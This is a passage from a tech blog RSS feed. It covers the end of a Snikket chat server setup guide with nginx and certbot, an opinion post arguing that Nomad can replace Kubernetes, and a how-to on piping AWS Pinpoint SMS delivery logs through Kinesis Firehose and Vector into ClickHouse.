      client_max_body_size 104857616; # 100MB + 16 bytes

      # For BOSH and WebSockets
      proxy_set_header Connection $http_connection;
      proxy_set_header Upgrade $http_upgrade;
      proxy_read_timeout 900s;

  }
}
</code></pre><p>In the above config, we need to specify path to our certificates created by certbot in an earlier step of this guide. Locate the following lines:</p>
<pre tabindex="0"><code>ssl_certificate /path/to/certificate.pem;
ssl_certificate_key /path/to/key.pem;
</code></pre><p>The output of my <code>certbot</code> command earlier told me that the certificates are at <code>/etc/letsencrypt/live/chat.ravidwivedi.in/fullchain.pem</code> and ssl_key is at <code>/etc/letsencrypt/live/chat.ravidwivedi.in/privkey.pem</code></p>
<p>So we change the above mentioned two lines in the nginx config at <code>/etc/nginx/sites-available/chat.ravidwivedi.in</code> to:</p>
<pre tabindex="0"><code>ssl_certificate /etc/letsencrypt/live/chat.ravidwivedi.in/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/chat.ravidwivedi.in/privkey.pem;
</code></pre><p>After making these changes to file, save it. Now, create symlink to <code>/etc/nginx/sites-enabled/chat.ravidwivedi.in</code> file by running the command:</p>
<pre tabindex="0"><code>ln -s /etc/nginx/sites-available/chat.ravidwivedi.in /etc/nginx/sites-enabled/chat.ravidwivedi.in
</code></pre><p>Restart nginx:</p>
<pre tabindex="0"><code>systemctl restart nginx
</code></pre><p>You can also check if nginx syntax is correct by running</p>
<pre tabindex="0"><code>nginx -t
</code></pre><p>If the output of this command indicates an error, you need to fix that error before moving on.</p>
<h2 id="launch-snikket">Launch Snikket</h2>
<p>Go back into <code>/etc/snikket</code> directory by running:</p>
<pre tabindex="0"><code>cd /etc/snikket
</code></pre><p>Now run:</p>
<pre tabindex="0"><code>docker-compose up -d
</code></pre><p>After the command run is complete, visit chat.ravidwivedi.in and you will see a login page as in the screenshot below.</p>
<img src="https://ravidwivedi.in/images/snikket-login-page.png">
<p>If you don&rsquo;t see this login page, there is some error in your setup.</p>
<p>If you are able to see that login page, create an account with admin privileges by running the command:</p>
<pre tabindex="0"><code>docker exec snikket create-invite --admin --group default
</code></pre><h2 id="post-install">Post install</h2>
<p>Snikket project has a <a href="https://snikket.org/service/help/advanced/config/">page</a> mentioning additional lines you can add to your snikket config file, like for example, setting limit on size of each attachment. Also, check out the <a href="https://snikket.org/service/help/setup/upgrading">upgrade page</a> on how to keep snikket software updated.</p>
<p>If you are using Snikket, be sure to <a href="https://snikket.org/donate/">donate</a> to the Snikket project to support them.</p>
]]></content:encoded>
            <author>Ravi Dwivedi</author>
        </item>
        <item>
            <title><![CDATA[Nomad can do everything that K8s can]]></title>
            <link>https://mrkaran.dev/posts/nomad-k8s-showdown/</link>
            <guid isPermaLink="false">https://mrkaran.dev/posts/nomad-k8s-showdown/</guid>
            <pubDate>Sun, 23 Jul 2023 05:34:47 GMT</pubDate>
            <description><![CDATA[This blog post is ignited by the following Twitter exchange:

I don’t take the accusation of unsubstantiated argument, especially on a technical topic lightly. I firmly believe in substantiated arguments and hence, here I am, elaborating on my stance. If found mistaken, I am open to corrections and revise my stance.
Some Historical Context#
In my professional capacity, I have run and managed several K8s clusters (using AWS EKS) for our entire team of devs (been there done that). The most complex piece of our otherwise simple and clean stack was K8s and we’d been longing to find a better replacement. None of us knew whether that would be Nomad or anything else. But we took the chance and we have reached a stage where we can objectively argue that, for our specific workloads, Nomad has proven to be a superior tool compared to K8s.
Building with Nomad#
Nomad presents a fundamental building block approach to designing your own services. It used to be true that Nomad was primarily a scheduler, and for serious production workloads, you had to rely on Consul for service discovery and Vault for secret management. However, this scenario has changed as Nomad now seamlessly integrates these features, making them first-class citizens in its environment. Our team replaced our HashiCorp stack with just Nomad, and we never felt constrained in terms of what we could accomplish with Consul/Vault. While these tools still hold relevance for larger clusters managed by numerous teams, they are not necessary for our use case.
Deconstructing Infrastructure#
Kubernetes employs a declarative state for every operation in the cluster, essentially operating as a reconciliation mechanism to keep everything in check. In contrast, Nomad requires dealing with fewer components, making it appear lacking compared to K8s’s concept of everything being a “resource.” However, that is far from the truth.
Ingress: We run a set of HAProxy on a few nodes which act as “L7 LBs”. Configured with Nomad services, they can do the routing based on Host headers.
DNS: To provide external access to a service without using a proxy, we developed a tool that scans all services registered in the cluster and creates a corresponding DNS record on AWS Route53.
Monitoring: Ah my fav. You wanna monitor your K8s cluster. Sure, here’s kube-prometheus, prometheus-operator, kube-state-metrics. Choices, choices. Enough to confuse you for days. Anyone who’s ever deployed any of these, tell me why this thing needs such a monstrosity setup of CRDs and operators. Monitoring Nomad is such a breeze, 3 lines of HCL config and done.
Statefulsets: It’s 2023 and the irony is rich - the recommended way to run a database inside K8s is… not to run it inside K8s at all. In Nomad, we run a bunch of EC2 instances and tag them as db nodes. The DBs don’t float around as containers to random nodes. And there’s no CSI plugin reaching for a storage disk in AZ-1 when the node is basking in AZ-2. Running a DB on Nomad feels refreshingly like running it on an unadorned EC2 instance.
Autoscale: All our client nodes (except for the db nodes) are ephemeral and part of AWS’s Auto Scaling Groups (ASGs). We use ASG rules for the horizontal scaling of the cluster. While Nomad does have its own autoscale, our preference is to run large instances dedicated to specific workloads, avoiding a mix of different workloads on the same machine.
Over abstraction of Kubernetes#
One of my primary critiques of K8s is its hidden complexities. While these abstractions might simplify things on the surface, debugging becomes a nightmare when issues arise. Even after three years of managing K8s clusters, I’ve never felt confident dealing with databases or handling complex networking problems involving dropped packets.
You might argue that it’s about technical chops, which I won’t disagree with - but then do you want to add value to the business by getting shit done or do you want to be the resident K8s whiz at your organization?
Consider this: How many people do you know who run their own K8s clusters? Even the K8s experts themselves preach about running prod clusters on EKS/GKE etc. How many fully leverage all that K8s has to offer? How many are even aware of all the network routing intricacies managed by kube-proxy? If these queries stir up clouds of uncertainty, it’s possible you’re sipping the Kubernetes Kool-Aid without truly comprehending the recipe, much like I found myself doing at one point
Nomad: Not Perfect, But Simpler#
Now, if you’re under the impression that I’m singing unabashed praises for Nomad, let me clarify - Nomad has its share of challenges. I’ve personally encountered and reported several. However, the crucial difference lies in Nomad’s lesser degree of abstraction, allowing for a comprehensive understanding of its internals. For instance, we encountered service reconciliation issues with a particular Nomad version. However, we could query the APIs, identify the problem, and write a bash script to resolve and reconcile it. It wouldn’t have been possible when there are too many moving parts in the system and we don’t know where to even begin debugging.
The YAML hell is all too well known to all of us. In K8s, writing job manifests required a lot of effort (by the developers who don’t work with K8s all day) and were very complex to understand. It felt “too verbose” and involved copy pasting large blocks from the docs and trying to make things work. Compare that to HCL, it feels much nicer to read and shorter. Things are more straightforward to understand.
I’ve not even touched upon the nice-ities on Nomad yet. Like better humanly understandable ACLs? Cleaner and simpler job spec, which defines the entire job in one file? A UI which actually shows everything about your cluster, nodes, and jobs? Not restricting your workloads to be run as Docker containers? A single binary which powers all of this?
The central question this post aims to raise is: What can K8s do that Nomads can’t, especially considering the features people truly need? My perspectives are informed not only by my organization but also through interactions with several other organizations at various meetups and conferences. Yet, I have rarely encountered a use case that could only be managed by K8s. While Nomad isn’t a panacea for all issues, it’s certainly worth a try. Reducing the complexity of your tech stack can prove beneficial for your applications and, most importantly, your developers.
At this point, K8s enjoys immense industry-wide support, while Nomad remains the unassuming newcomer. This contrast is not a negative aspect, per se. Large organizations often gravitate towards complexity and the opportunity to engage more engineers. However, if simplicity were the primary goal, the prevailing sense of overwhelming complexity in the infrastructure and operations domain wouldn’t be as pervasive.
Conclusion#
I hope my arguments provide a more comprehensive perspective and address the earlier critique of being unsubstantiated.
Update#
INFO
    
Darren has responded to this blog post. You can read the response on Twitter.
Fin!]]></description>
            <content:encoded><![CDATA[<p>This blog post is ignited by the following <a rel="external" href="https://twitter.com/ibuildthecloud/status/1682800502738931712">Twitter exchange</a>:</p>
<p><img src="https://mrkaran.dev/images/nomad-k8s-showdown-1.png" alt="" /></p>
<p>I don’t take the accusation of <em>unsubstantiated</em> argument, especially on a technical topic lightly. I firmly believe in substantiated arguments and hence, here I am, elaborating on my stance. If found mistaken, I am open to corrections and revise my stance.</p>
<h3 id="some-historical-context">Some Historical Context<a class="zola-anchor" href="#some-historical-context" aria-label="Anchor link for: some-historical-context">#</a></h3>
<p>In my professional capacity, I have run and managed several K8s clusters (using AWS EKS) for our entire team of devs (<em>been there done that</em>). The most complex piece of our otherwise simple and clean stack was K8s and we’d been longing to find a better replacement. None of us knew whether that would be Nomad or anything else. But we took the chance and we have reached a stage where we can objectively argue that, for our specific workloads, Nomad has proven to be a superior tool compared to K8s.</p>
<h2 id="building-with-nomad">Building with Nomad<a class="zola-anchor" href="#building-with-nomad" aria-label="Anchor link for: building-with-nomad">#</a></h2>
<p>Nomad presents a fundamental building block approach to designing your own services. It used to be true that Nomad was primarily a scheduler, and for serious production workloads, you had to rely on Consul for service discovery and Vault for secret management. However, this scenario has changed as Nomad now seamlessly integrates these features, making them first-class citizens in its environment. Our team replaced our HashiCorp stack with just Nomad, and we never felt constrained in terms of what we could accomplish with Consul/Vault. While these tools still hold relevance for larger clusters managed by numerous teams, they are not necessary for our use case.</p>
<h2 id="deconstructing-infrastructure">Deconstructing Infrastructure<a class="zola-anchor" href="#deconstructing-infrastructure" aria-label="Anchor link for: deconstructing-infrastructure">#</a></h2>
<p>Kubernetes employs a declarative state for every operation in the cluster, essentially operating as a reconciliation mechanism to keep everything in check. In contrast, Nomad requires dealing with fewer components, making it appear lacking compared to K8s’s concept of everything being a “resource.” However, that is far from the truth.</p>
<ul>
<li><strong>Ingress</strong>: We run a set of HAProxy on a few nodes which act as “L7 LBs”. Configured with Nomad services, they can do the routing based on Host headers.</li>
<li><strong>DNS</strong>: To provide external access to a service without using a proxy, we developed a <a rel="external" href="https://github.com/mr-karan/nomad-external-dns">tool</a> that scans all services registered in the cluster and creates a corresponding DNS record on AWS Route53.</li>
<li><strong>Monitoring</strong>: Ah my fav. You wanna monitor your K8s cluster. Sure, here’s <a rel="external" href="https://github.com/prometheus-operator/kube-prometheus">kube-prometheus</a>, <a rel="external" href="https://github.com/prometheus-operator/prometheus-operator">prometheus-operator</a>, <a rel="external" href="https://github.com/kubernetes/kube-state-metrics">kube-state-metrics</a>. Choices, choices. Enough to confuse you for days. Anyone who’s ever deployed any of these, tell me why this thing needs such a monstrosity setup of CRDs and operators. Monitoring Nomad is such a breeze, <a rel="external" href="https://developer.hashicorp.com/nomad/docs/configuration/telemetry">3 lines of HCL</a> config and done.</li>
<li><strong>Statefulsets</strong>: It’s 2023 and the irony is rich - the recommended way to run a database inside K8s is… not to run it inside K8s at all. In Nomad, we run a bunch of EC2 instances and tag them as <code>db</code> nodes. The DBs don’t float around as containers to random nodes. And there’s no CSI plugin reaching for a storage disk in AZ-1 when the node is basking in AZ-2. Running a DB on Nomad feels refreshingly like running it on an unadorned EC2 instance.</li>
<li><strong>Autoscale</strong>: All our client nodes (except for the <code>db</code> nodes) are ephemeral and part of AWS’s Auto Scaling Groups (ASGs). We use ASG rules for the horizontal scaling of the cluster. While Nomad does have its own autoscale, our preference is to run large instances dedicated to specific workloads, avoiding a mix of different workloads on the same machine.</li>
</ul>
<h2 id="over-abstraction-of-kubernetes">Over abstraction of Kubernetes<a class="zola-anchor" href="#over-abstraction-of-kubernetes" aria-label="Anchor link for: over-abstraction-of-kubernetes">#</a></h2>
<p>One of my primary critiques of K8s is its hidden complexities. While these abstractions might simplify things on the surface, debugging becomes a nightmare when issues arise. Even after three years of managing K8s clusters, I’ve never felt confident dealing with databases or handling complex networking problems involving dropped packets.</p>
<p>You might argue that it’s about technical chops, which I won’t disagree with - but then do you want to add value to the business by getting shit done or do you want to be the resident K8s whiz at your organization?</p>
<p>Consider this: How many people do you know who run their own K8s clusters? Even the K8s experts themselves preach about running prod clusters on EKS/GKE etc. How many fully leverage all that K8s has to offer? How many are even aware of all the network routing intricacies managed by kube-proxy? If these queries stir up clouds of uncertainty, it’s possible you’re sipping the Kubernetes Kool-Aid without truly comprehending the recipe, much like I found myself doing at one point</p>
<h2 id="nomad-not-perfect-but-simpler">Nomad: Not Perfect, But Simpler<a class="zola-anchor" href="#nomad-not-perfect-but-simpler" aria-label="Anchor link for: nomad-not-perfect-but-simpler">#</a></h2>
<p>Now, if you’re under the impression that I’m singing unabashed praises for Nomad, let me clarify - Nomad has its share of challenges. I’ve personally encountered and reported several. However, the crucial difference lies in Nomad’s lesser degree of abstraction, allowing for a comprehensive understanding of its internals. For instance, we encountered <a rel="external" href="https://github.com/hashicorp/nomad/issues/16762">service reconciliation issues</a> with a particular Nomad version. However, we could query the APIs, identify the problem, and write a bash script to resolve and reconcile it. It wouldn’t have been possible when there are too many moving parts in the system and we don’t know where to even begin debugging.</p>
<p>The <a rel="external" href="https://noyaml.com/">YAML hell</a> is all too well known to all of us. In K8s, writing job manifests required a lot of effort (by the developers who don’t work with K8s all day) and were very complex to understand. It felt “too verbose” and involved copy pasting large blocks from the docs and trying to make things work. Compare that to HCL, it feels much nicer to read and shorter. Things are more straightforward to understand.</p>
<p>I’ve not even touched upon the nice-ities on Nomad yet. Like better humanly understandable ACLs? Cleaner and simpler job spec, which defines the entire job in one file? A UI which actually shows everything about your cluster, nodes, and jobs? Not restricting your workloads to be run as Docker containers? A single binary which powers all of this?</p>
<p>The central question this post aims to raise is: What can K8s do that Nomads can’t, especially considering the features people truly need? My perspectives are informed not only by my organization but also through interactions with several other organizations at various meetups and conferences. Yet, I have rarely encountered a use case that could only be managed by K8s. While Nomad isn’t a panacea for all issues, it’s certainly worth a try. Reducing the complexity of your tech stack can prove beneficial for your applications and, most importantly, your developers.</p>
<p>At this point, K8s enjoys immense industry-wide support, while Nomad remains the unassuming newcomer. This contrast is not a negative aspect, per se. Large organizations often gravitate towards complexity and the opportunity to engage more engineers. However, if simplicity were the primary goal, the prevailing sense of overwhelming complexity in the infrastructure and operations domain wouldn’t be as pervasive.</p>
<h2 id="conclusion">Conclusion<a class="zola-anchor" href="#conclusion" aria-label="Anchor link for: conclusion">#</a></h2>
<p>I hope my arguments provide a more comprehensive perspective and address the earlier critique of being unsubstantiated.</p>
<h2 id="update">Update<a class="zola-anchor" href="#update" aria-label="Anchor link for: update">#</a></h2>
<blockquote class="admonition info">
    <strong class="admonition-header">INFO</strong>
    <p><p>Darren has responded to this blog post. You can read the response on <a rel="external" href="https://twitter.com/ibuildthecloud/status/1682992374979629057">Twitter</a>.</p>
</p>
</blockquote>
<p>Fin!</p>
]]></content:encoded>
            <author>Karan Sharma</author>
        </item>
        <item>
            <title><![CDATA[Emerging from dotemacs bankruptcy the hard way: the midway refactor]]></title>
            <link>https://www.evalapply.org/posts/emerging-from-dotemacs-bankruptcy-midway-refactor/index.html</link>
            <guid isPermaLink="false">https://www.evalapply.org/posts/emerging-from-dotemacs-bankruptcy-midway-refactor/index.html</guid>
            <pubDate>Sun, 23 Jul 2023 00:00:00 GMT</pubDate>
            <description><![CDATA[Or the one in which we confront our elisp n00bishness and try to be better at using it. And we learn new habits to understand our Emacs better. Better late than never.]]></description>
            <content:encoded><![CDATA[Or the one in which we confront our elisp n00bishness and try to be better at using it. And we learn new habits to understand our Emacs better. Better late than never.]]></content:encoded>
            <author>Aditya Athalye</author>
            <category>programming</category>
            <category>emacs</category>
            <category>howto</category>
            <category>recurse_center</category>
        </item>
        <item>
            <title><![CDATA[Storing AWS Pinpoint Logs]]></title>
            <link>https://mrkaran.dev/posts/storing-aws-pinpoint-logs/</link>
            <guid isPermaLink="false">https://mrkaran.dev/posts/storing-aws-pinpoint-logs/</guid>
            <pubDate>Fri, 21 Jul 2023 05:24:06 GMT</pubDate>
            <description><![CDATA[At $dayjob, we use AWS Pinpoint to send out SMS to our customers. We’ve also written a detailed blog post on how we use Clickhouse + vector stack for our logging needs. We additionally wanted to store the delivery logs generated by the Pinpoint service. But like with anything else in AWS, even simpler tasks like these usually tend to piggyback on other counterparts of AWS - in this case, it happens to be AWS Kinesis. All the delivery logs which contain metadata about SMS delivery are streamed to Kinesis.
Our setup involves configuring Pinpoint with Amazon Kinesis Data Firehose stream. Firehose is an ETL service that helps stream events to other persistent stores. Firehose supports multiple such output sinks and in our case we use HTTP sink.
This is what the flow looks like:
Pinpoint -> Kinesis Firehose -> Vector HTTP -> Clickhouse
Ingesting Data#
On the HTTP server side, we used vector’s aws_kinesis_firehose source. Compared to just using http source, here are the differences I found:
Has first-class support for access_key. AWS Kinesis can be configured to send access_key which comes as the value X-Amz-Firehose-Access-Key header in the HTTP request. This means that the request which contains an invalid access key will be rejected at the source itself. However, in the http source, I couldn’t find a way to drop events at the source level. It is required to use a VRL transformer to check whether X-Amz-Firehose-Access-Key is present in the headers and do a value comparison with our key.
Has native support for base64 decoding the payload. This one’s pretty useful and saved me a lot of VRL transformer rules that I would have otherwise written with the http source. So, basically, this is how the server receives the payload:
{
  "requestId": "6a14a06b-6eae-4218-...",
  "timestamp": 1689766125971,
  "records": [
      {
          "data": "eyJld..."
      },
      {
          "data": "eyJldmVudF9..."
      }
  ]
}
The value of the payload is a base64 encoded value of the JSON Object of an SMS event. However, the aws_kinesis_firehose source is smart enough and automagically decodes this list of records and their values into individual events. This is how the final event looks like when using aws_kinesis_firehose source:
    {
      "message": "{\"event_type\":\"_SMS.SUCCESS\",\"event_timestamp\":1689827914426,\"arrival_timestamp\":1689827917659,\"event_version\":\"3.1\",\"application\":{\"app_id\":\"redacted\",\"sdk\":{}},\"client\":{\"client_id\":\"redacted\"},\"device\":{\"platform\":{}},\"session\":{},\"attributes\":{\"sender_request_id\":\"redacted\",\"destination_phone_number\":\"+91xxx\",\"record_status\":\"DELIVERED\",\"iso_country_code\":\"IN\",\"mcc_mnc\":\"xxx\",\"number_of_message_parts\":\"1\",\"message_id\":\"redacted\",\"message_type\":\"Transactional\",\"origination_phone_number\":\"redactedORG\"},\"metrics\":{\"price_in_millicents_usd\":xx.0},\"awsAccountId\":\"redacted\"}\n",
      "request_id": "6dd45388-xxx",
      "source_arn": "arn:aws:firehose:ap-south-1:redacted:deliverystream/redacted",
      "source_type": "aws_kinesis_firehose",
      "timestamp": "2023-07-20T04:39:38.772Z"
  }
This makes it straightforward because now we just have to parse the JSON inside the message key and do transformations on that object. If it was http source, then I’d to loop over the records structure and figure out how to split them as individual events for the rest of the Vector pipeline… which would have been messy to say the least.
Here’s the vector config so far:
[sources.firehose]
# General
type = "aws_kinesis_firehose"
address = "127.0.0.1:9000"
store_access_key = false
access_keys = ["superdupersecret"]

# Use it for debugging
[sinks.console]
type = "firehose"
inputs = ["format_pinpoint_logs"]
encoding.codec = "json"

Formatting the data#
Now that we have a pipeline which sends and receives data, we can process the events and transform them into a schema that is more desirable. Since we require the events to be queryable in a Clickhouse DB, this is the schema we have:
CREATE TABLE default.pinpoint_logs (
    `_timestamp` DateTime('Asia/Kolkata'),
    `app_id` LowCardinality(String),
    `event_type` LowCardinality(String),
    `record_status` LowCardinality(String),
    `origination_phone_number` String,
    `message_id` String,
    `destination_phone_number` String,
    `arrival_timestamp` DateTime('Asia/Kolkata'),
    `event_timestamp` DateTime('Asia/Kolkata'),
    `meta` Nullable(String)
)
ENGINE = MergeTree
PARTITION BY toYYYYMM(_timestamp)
ORDER BY _timestamp
SETTINGS index_granularity = 8192;
To achieve the above format, we can use VRL to parse and format our SMS events:
[transforms.format_pinpoint_logs]
type = "remap" 
inputs = ["firehose"] 
source = '''
  # Decode the JSON message and set ingestion timestamp
  .message = parse_json!(.message)
  .ingestion_timestamp = .timestamp

  # Convert timestamps from Unix to DateTime
  .event_timestamp = from_unix_timestamp!(.message.event_timestamp, unit:"milliseconds")
  .arrival_timestamp = from_unix_timestamp!(.message.arrival_timestamp, unit:"milliseconds")

  # Extract keys to top level and remove from attributes
  .record_status = del(.message.attributes.record_status)
  .origination_phone_number = del(.message.attributes.origination_phone_number)
  .destination_phone_number = del(.message.attributes.destination_phone_number)
  .message_id = del(.message.attributes.message_id)

  # Encode the remaining attributes as JSON string
  .attr = encode_json(.message.attributes)

  # Format Payload for Clickhouse
  . = {
    "_timestamp": .ingestion_timestamp,
    "arrival_timestamp": .arrival_timestamp,
    "event_timestamp": .event_timestamp,
    "app_id": .message.application.app_id,
    "event_type": .message.event_type,
    "record_status": .record_status,
    "message_id": .message_id,
    "origination_phone_number": .origination_phone_number,
    "destination_phone_number": .destination_phone_number,
    "meta": .attr
  }
'''

Plugging this, we have a clean JSON object for each SMS event. The only thing now we need to add is an output sink to Clickhouse:
[sinks.clickhouse]
type = "clickhouse"
inputs = ["format_pinpoint_logs"]
skip_unknown_fields = true
compression = "gzip"
database = "default"
endpoint = "http://127.0.0.1:8123"
table = "pinpoint_logs"
encoding.timestamp_format = "unix"
batch.max_bytes = 1049000 # 1 MB
batch.timeout_secs = 5
buffer.max_size = 268435488
buffer.type = "disk"
buffer.when_full = "block"
Perfect! On running this pipeline with vector -c config.toml we can see the consumption the records
Hope this short post was useful if you’ve to do anything similar!
Fin!]]></description>
            <content:encoded><![CDATA[<p>At $dayjob, we use AWS Pinpoint to send out SMS to our customers. We’ve also written a detailed <a rel="external" href="https://zerodha.tech/blog/logging-at-zerodha/">blog post</a> on how we use <a rel="external" href="https://clickhouse.com/">Clickhouse</a> + <a rel="external" href="https://vector.dev/">vector</a> stack for our logging needs. We additionally wanted to store the delivery logs generated by the Pinpoint service. But like with anything else in AWS, even simpler tasks like these usually tend to piggyback on other counterparts of AWS - in this case, it happens to be AWS Kinesis. All the delivery logs which contain metadata about SMS delivery are streamed to Kinesis.</p>
<p>Our setup involves configuring Pinpoint with Amazon Kinesis Data Firehose stream. Firehose is an ETL service that helps stream events to other persistent stores. Firehose supports multiple such output sinks and in our case we use <code>HTTP</code> sink.</p>
<p>This is what the flow looks like:</p>
<p><code>Pinpoint -&gt; Kinesis Firehose -&gt; Vector HTTP -&gt; Clickhouse</code></p>
<hr />
<h2 id="ingesting-data">Ingesting Data<a class="zola-anchor" href="#ingesting-data" aria-label="Anchor link for: ingesting-data">#</a></h2>
<p>On the HTTP server side, we used <code>vector</code>’s <a rel="external" href="https://vector.dev/docs/reference/configuration/sources/aws_kinesis_firehose/">aws_kinesis_firehose</a> source. Compared to just using <a rel="external" href="https://vector.dev/docs/reference/configuration/sources/http_server/">http</a> source, here are the differences I found:</p>
<ul>
<li>
<p>Has first-class support for access_key. AWS Kinesis can be configured to send access_key which comes as the value <code>X-Amz-Firehose-Access-Key</code> header in the HTTP request. This means that the request which contains an invalid access key will be rejected at the source itself. However, in the <code>http</code> source, I couldn’t find a way to drop events at the source level. It is required to use a VRL transformer to check whether <code>X-Amz-Firehose-Access-Key</code> is present in the headers and do a value comparison with our key.</p>
</li>
<li>
<p>Has native support for <code>base64</code> decoding the payload. This one’s pretty useful and saved me a lot of VRL transformer rules that I would have otherwise written with the <code>http</code> source. So, basically, this is how the server receives the payload:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="json"><span class="giallo-l"><span>{</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #8DDB8C);">  &quot;</span><span style="color: light-dark(#005CC5, #8DDB8C);">requestId</span><span style="color: light-dark(#005CC5, #8DDB8C);">&quot;</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">6a14a06b-6eae-4218-...</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #8DDB8C);">  &quot;</span><span style="color: light-dark(#005CC5, #8DDB8C);">timestamp</span><span style="color: light-dark(#005CC5, #8DDB8C);">&quot;</span><span>:</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 1689766125971</span><span>,</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #8DDB8C);">  &quot;</span><span style="color: light-dark(#005CC5, #8DDB8C);">records</span><span style="color: light-dark(#005CC5, #8DDB8C);">&quot;</span><span>:</span><span> [</span></span>
<span class="giallo-l"><span>      {</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #8DDB8C);">          &quot;</span><span style="color: light-dark(#005CC5, #8DDB8C);">data</span><span style="color: light-dark(#005CC5, #8DDB8C);">&quot;</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">eyJld...</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span>      }</span><span>,</span></span>
<span class="giallo-l"><span>      {</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #8DDB8C);">          &quot;</span><span style="color: light-dark(#005CC5, #8DDB8C);">data</span><span style="color: light-dark(#005CC5, #8DDB8C);">&quot;</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">eyJldmVudF9...</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span>      }</span></span>
<span class="giallo-l"><span>  ]</span></span>
<span class="giallo-l"><span>}</span></span></code></pre>
<p>The value of the payload is a base64 encoded value of the <a rel="external" href="https://docs.aws.amazon.com/pinpoint/latest/developerguide/event-streams-data-sms.html">JSON Object</a> of an SMS event. However, the <code>aws_kinesis_firehose</code> source is smart enough and automagically decodes this list of records and their values into individual events. This is how the final event looks like when using <code>aws_kinesis_firehose</code> source:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="json"><span class="giallo-l"><span>    {</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #8DDB8C);">      &quot;</span><span style="color: light-dark(#005CC5, #8DDB8C);">message</span><span style="color: light-dark(#005CC5, #8DDB8C);">&quot;</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">{</span><span style="color: light-dark(#005CC5, #F47067);">\&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">event_type</span><span style="color: light-dark(#005CC5, #F47067);">\&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">:</span><span style="color: light-dark(#005CC5, #F47067);">\&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">_SMS.SUCCESS</span><span style="color: light-dark(#005CC5, #F47067);">\&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">,</span><span style="color: light-dark(#005CC5, #F47067);">\&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">event_timestamp</span><span style="color: light-dark(#005CC5, #F47067);">\&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">:1689827914426,</span><span style="color: light-dark(#005CC5, #F47067);">\&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">arrival_timestamp</span><span style="color: light-dark(#005CC5, #F47067);">\&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">:1689827917659,</span><span style="color: light-dark(#005CC5, #F47067);">\&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">event_version</span><span style="color: light-dark(#005CC5, #F47067);">\&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">:</span><span style="color: light-dark(#005CC5, #F47067);">\&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">3.1</span><span style="color: light-dark(#005CC5, #F47067);">\&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">,</span><span style="color: light-dark(#005CC5, #F47067);">\&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">application</span><span style="color: light-dark(#005CC5, #F47067);">\&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">:{</span><span style="color: light-dark(#005CC5, #F47067);">\&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">app_id</span><span style="color: light-dark(#005CC5, #F47067);">\&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">:</span><span style="color: light-dark(#005CC5, #F47067);">\&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">redacted</span><span style="color: light-dark(#005CC5, #F47067);">\&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">,</span><span style="color: light-dark(#005CC5, #F47067);">\&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">sdk</span><span style="color: light-dark(#005CC5, #F47067);">\&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">:{}},</span><span style="color: light-dark(#005CC5, #F47067);">\&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">client</span><span style="color: light-dark(#005CC5, #F47067);">\&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">:{</span><span style="color: light-dark(#005CC5, #F47067);">\&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">client_id</span><span style="color: light-dark(#005CC5, #F47067);">\&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">:</span><span style="color: light-dark(#005CC5, #F47067);">\&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">redacted</span><span style="color: light-dark(#005CC5, #F47067);">\&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">},</span><span style="color: light-dark(#005CC5, #F47067);">\&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">device</span><span style="color: light-dark(#005CC5, #F47067);">\&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">:{</span><span style="color: light-dark(#005CC5, #F47067);">\&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">platform</span><span style="color: light-dark(#005CC5, #F47067);">\&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">:{}},</span><span style="color: light-dark(#005CC5, #F47067);">\&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">session</span><span style="color: light-dark(#005CC5, #F47067);">\&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">:{},</span><span style="color: light-dark(#005CC5, #F47067);">\&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">attributes</span><span style="color: light-dark(#005CC5, #F47067);">\&quot;</span><span 